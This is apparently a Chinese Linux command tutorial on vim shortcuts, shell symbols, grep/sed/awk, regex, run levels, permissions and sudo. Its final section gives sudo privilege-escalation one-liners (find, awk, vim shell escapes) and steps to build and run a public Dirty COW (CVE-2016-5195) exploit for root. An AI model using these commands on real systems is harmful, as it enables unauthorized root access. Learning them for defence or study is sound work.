Linux系统常用操作与命令指南

一、快捷分类

1、移动光标

python 复制代码
h,	  j,	 k,	  l 
左,  下,    上,	  右
Ctrl-F:下翻一页
Ctrl-B:上翻一页
Ctrl-U:上翻半页
Ctrl-d:下翻半页
0:跳至行首,不管有无缩进,就是跳到第0个字符
^:跳至行首的第一个字符
$:跳至行尾
gg:跳至文首
G:调至文尾
5gg/5G调至第5行

2、删除复制

python 复制代码
x:删除单个字符
dd:删除光标所在行,#使用u撤销,使用Ctrl+R恢复
6dd:从光标开始往下删除6行
dW:删除一个单词(word)
p:粘贴粘贴板的内容到当前行的下面
P:粘贴粘贴板的内容到当前行的上面
yy:复制行
5yy:复制5行

3、搜索和替换

python 复制代码
/pattern向后搜索字符串pattern	# 辅助n和N
?pattern向前搜索字符串pattern	# 辅助n和N
:%s/old/new/g搜索整个文件,将所有的old替换为new
:%s/old/new/gc搜索整个文件,将所有的old替换为new,每次都要你确认是否替换

4、退出编辑器

python 复制代码
:w将缓冲区写入文件,即保存修改
:WQ保存修改并退出
:x保存修改并退出
:q退出,如果对缓冲区进行过修改,则会提示
:q!强制退出,放弃修改

二、Linux特殊符号

复制代码
;命令的分隔符
例如:
[root@localhost ~]# touch 111.txt;chmod 777 111.txt
[root@localhost ~]# ll 111.txt
-rwxrwxrwx 	1	root root	0	9月	12	04:40 111.txt

..代表上级目录
例如:
[root@localhost ~]#	pwd
/root
[root@localhost ~]# cd ..
[root@localhost /]# pwd
/

.代表当前目录
例如:
[root@localhost opt]# cp /data/man_db.conf .
[root@localhost opt]# ls
man_db.conf

""双引号,换行,解析变量
''单引号,换行,不解析变量
变量,值是不固定的
常量,值是固定
\	转义符,反斜杠
/ 路径分隔符
` 	反引号(ESC 下边的按钮)
例如:
[root@localhost opt]# touch test_`date +%T`.txt
[root@localhost opt]# ls test_04\:56\:22.txt
test 04:56:22.txt

!	历史命令调用
*	通配符
$	调用变量
例如:
root@stara-virtual-machine:~/桌面# export LANG='en_US.UTF-8'
root@stara-virtual-machine:~/桌面# echo $LANG
en_US.UTF-8
root@stara-virtual-machine:~/桌面# stat 1.txt 
  文件:1.txt
  大小:27        	块:8          IO 块大小:4096   普通文件
设备:803h/2051d	Inode:669435      硬链接:1
权限:(0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
访问时间:2024-11-14 16:22:54.863895859 +0800
修改时间:2024-11-14 16:22:54.863895859 +0800
变更时间:2024-11-14 16:22:54.864896003 +0800
创建时间:2024-11-14 16:22:54.863895859 +0800
root@stara-virtual-machine:~/桌面# export LANG='zh_CN.UTF-8'
root@stara-virtual-machine:~/桌面# stat 1.txt 
  文件:1.txt
  大小:27        	块:8          IO 块大小:4096   普通文件
设备:803h/2051d	Inode:669435      硬链接:1
权限:(0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
访问时间:2024-11-14 16:22:54.863895859 +0800
修改时间:2024-11-14 16:22:54.863895859 +0800
变更时间:2024-11-14 16:22:54.864896003 +0800
创建时间:2024-11-14 16:22:54.863895859 +0800

>		输出重定向
>>		追加输出重定向
<		输入重新定向
<<		追加输入重定向
|		管道
||		第一个命令失败,才执行第二个命令
&&		和,一起执行	
&		f
~		代表家目录

三、三剑客和正则表达式

1、grep

复制代码
#	擅长过滤
#	grep参数
-n 	行号
-c	对结果行计数
-i	不区分大小写
-v	反向搜索,取反
-w	精准匹配
-o	只显示匹配的结果
-A1 同时打印搜索结果行的后一行
-B3 同时打印搜索结果行的前三行
-C2 同时打印搜索结果行的上下各两行
-E	扩展正则表达式
-P	使用per1正则

2、sed

复制代码
# 擅长修改
用法:sed [-nri] [动作] 目标文件文件
选项与参数:
-n :使用安静(silent)模式。在一般 sed 的用法中,所有来自 STDIN 的数据一般都会被列出到终端上。但如果加上-n 参数后,则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。
-r:	sed的动作支持的是延伸型正则表示法的语法。(默认是基础正则表示法语法)
-i:	直接修改读取的文件内容,而不是输出到终端。

动作说明:[n1[,n2]lfunction
n1,n2一般表示为行号

function:
a: 指定行后面插入一行
d: 删除
i: 指定行前面插入一行
p: 打印,#一般和前面的-n参数一起用
s: 替换需要I忽略大小写,全局替换需要g

3、awk

复制代码
#	擅长取列
用法,取列
例如1: 取列
awk '{print $1}' 1.txt
awk '{print $1,$7}' /etc/passwd
例如2: 指定分隔符
awk -F ":"'{print $7,$1}'/etc/passwd
例子3:拼凑指定文本,双引号之间原样输出
awk -F ":" '{print $1":123:"$7}'/etc/passwd
例子4: 过滤文本
awk -F "[ /]+" 'S2~/^47/' 1.txt
例子5: 根据行号筛选内容
awk 'NR<=3{print $0}' 1.txt		# 	> 	<	==	>=	<=

4、正则表达式

1、什么是正则表达式?

复制代码
简单的说,正则表达式就是一套处理大量的字符串而定义的规则和方法。
例如:假设 @代表12345
通过正则表达式这些特殊符号,我们可以快速的过滤、替换需要的内容。
Linux正则一般以行为单位处理的。

2、正则表达式

复制代码
1、^ 表示搜索以什么开头。
2、$ 表示搜索以什么结尾。
3、^$表示空行,不是空格。
4、. 代表且只能代表任意一个字符。
5、\ 转义字符,让有着特殊身份意义的字符,脱掉马甲,还原原型。
例如:\.只表示小数点,还原原始小数点的意义。
6、* 重复0个或多个前面的一个字符。不代表所有了。
7、.* 匹配所有的字符。^.*任意多个字符开头
8、[abc] 匹配字符集合内任意一个字符[a-z]
9、[^abc] ^再中括号里面表示非,不包含a或b或c。
10、{n,m} 重复n到m次,前一个字符
11、+ 重复1次到多次
12、? 重复0次到多次

取ip的例子:

复制代码
ip addr|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|sed -n '2p'

grep 'Failed password' secure |grep -Eo '[0-9]{1,3}\.[0-9.]+'

取root用户登录时间

复制代码
lastlog|sed -n'/root/p'|grep -Eo'[0-9]{2}:[0-9]{2}:[0-9]{2}'

四、Linux运行级别

复制代码
运行级别 		0		关机
运行级别 		1		单用户
运行级别			2		不带网络的多用户
运行级别			3		完整的多用户模式
运行级别			4		保留
运行级别			5		桌面模式
运行级别			6		重启

#	切换运行级别
init
#	查看运行级别
systemctl get-default
#	设置运行级别
systemctl set-default graphical.target		# 设置默认运行级别为图形
systemctl set-default multi-user.target		# 设置默认运行级别为命令行

1、权限掩码

复制代码
# 修改文件vim /etc/profile
root	默认权限掩码 022
普通用户	默认权限掩码 002

inode: 存储除文件名以外的属性
block:存储文件的内容,目录的block存储,该目录下的文件名和它的inode编号

2、特殊权限

复制代码
suid 其他用户,拥有该文件属主的执行权限 针对命令文件
sgid 其他用户,拥有该文件属组的权限locate 针对命令文件
sticky 粘滞位 很多用户共同使用的目录,实现用户之间不能互相删除改变对方的文件的权限

3、su和sudo

su == switch user

sudo == superuser do

复制代码
1.配置/etc/sudoers
# 用户名	所有终端 = 运行的用户身份	命令ALL
zhangsan	ALL=(ALL)	/bin/systemctl,/usr/bin/vim
2.使用sudo执行命令
# 使用sudo来执行命令
sudo systemctl stop network	# start,stop,restart
# 查看可以使用的授权命令
sudo -l

五、Linux普通用户提权

sudo提权

复制代码
vim  # 命令模式执行: !/
find  # sudo find .-exec bash \;
awk   # sudo awk 'BEGIN {system("/bin/bash")}'

脏牛提权

复制代码
仓库地址:https://github.com/gbonacini/CVE-2016-5195
# 上传文件  脏牛提权.zip
unzip  脏牛提权.zip
cd CVE-2016-5195-master/
make			# 编译
./dcow -s		# 提权
相关推荐
HLC++11 小时前
Linux的进程间通信
android·linux·服务器
华清远见IT开放实验室12 小时前
实验室建设案例 | 石家庄科技信息职业学院嵌入式实验室——从底层硬件到系统应用,一所应用型高校的嵌入式人才培养这样落地
linux·arm开发·stm32·嵌入式硬件·高校·实验室建设
groundhappy15 小时前
idalib安装和codex ida-mcp配置
linux·开发语言·python
通信小小昕15 小时前
Ubuntu 26.04 中文输入法安装
linux·运维·ubuntu
张小姐的猫16 小时前
【Linux】网络编程 —— HTTP协议(上)
linux·运维·服务器·网络·http·单例模式·策略模式
栩栩云生17 小时前
AI 写代码犯的错,早被写进了错题集
linux·安全·ai编程
imc.1118 小时前
linux基础IO
linux·运维·服务器
BelongPanda20 小时前
Linux Nginx 纯手动 Let‘s Encrypt 泛域名证书配置教程
linux·nginx
酷可达拉斯20 小时前
Linux操作系统-shell编程(0)
linux·运维·服务器·python·云计算
2301_7779983420 小时前
Linux中断机制:操作系统如何高效运行
linux·运维·服务器